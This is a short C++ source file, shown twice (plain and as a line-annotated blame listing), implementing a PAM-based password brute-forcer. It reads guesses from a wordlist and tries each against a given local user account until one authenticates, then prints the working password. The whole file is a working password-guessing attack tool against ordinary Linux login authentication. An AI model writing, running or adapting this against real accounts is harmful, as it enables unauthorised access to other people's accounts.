checkuser/cpp/bruteforce.cpp

#include <iostream>
#include <string>
#include <fstream>
#include "pamwrapper.h"

using namespace std;


class BruteForce : public PamWrapper {
private:
        string pass;
public:
        BruteForce() : PamWrapper("login") {};
        std::string promptEchoOff(string msg);
        std::string promptEchoOn(string msg) {return "asd";};
        void errorMsg(string msg) {};
        void textInfo(string msg) {};
        void setPass(string newpass) {pass = newpass;};
};

string BruteForce::promptEchoOff(string msg)
{
        return pass.c_str();
}

int main(int argc, char *argv[])
{
        if (argc != 3) {
                cout << "usage: " << argv[0] << " <filename> <user>" << endl;
                return 0;
        }

        ifstream passfile( argv[1] );
        if (!passfile ) {
                cerr << "cannot open file " << argv[1] << endl;
                return 1;
        }
        
        BruteForce pam;
        pam.start( argv[2] );
        while (!passfile.eof()) {
                string pass;
                passfile >> pass;
                cout << "trying: " << pass << endl;
                pam.setPass( pass );
        
                if (pam.authenticate() == PAM_SUCCESS) {
                        cout << "success with password = " << pass << endl;
                        break;
                }
        }

        pam.end();
        passfile.close();
        return 0;
}
1	torben	328	#include <iostream>
2			#include <string>
3			#include <fstream>
4			#include "pamwrapper.h"
5
6			using namespace std;
7
8
9			class BruteForce : public PamWrapper {
10			private:
11			string pass;
12			public:
13			BruteForce() : PamWrapper("login") {};
14			std::string promptEchoOff(string msg);
15			std::string promptEchoOn(string msg) {return "asd";};
16			void errorMsg(string msg) {};
17			void textInfo(string msg) {};
18			void setPass(string newpass) {pass = newpass;};
19			};
20
21			string BruteForce::promptEchoOff(string msg)
22			{
23			return pass.c_str();
24			}
25
26			int main(int argc, char *argv[])
27			{
28			if (argc != 3) {
29			cout << "usage: " << argv[0] << " <filename> <user>" << endl;
30			return 0;
31			}
32
33			ifstream passfile( argv[1] );
34			if (!passfile ) {
35			cerr << "cannot open file " << argv[1] << endl;
36			return 1;
37			}
38
39			BruteForce pam;
40			pam.start( argv[2] );
41			while (!passfile.eof()) {
42			string pass;
43			passfile >> pass;
44			cout << "trying: " << pass << endl;
45			pam.setPass( pass );
46
47			if (pam.authenticate() == PAM_SUCCESS) {
48			cout << "success with password = " << pass << endl;
49			break;
50			}
51			}
52
53			pam.end();
54			passfile.close();
55			return 0;
56			}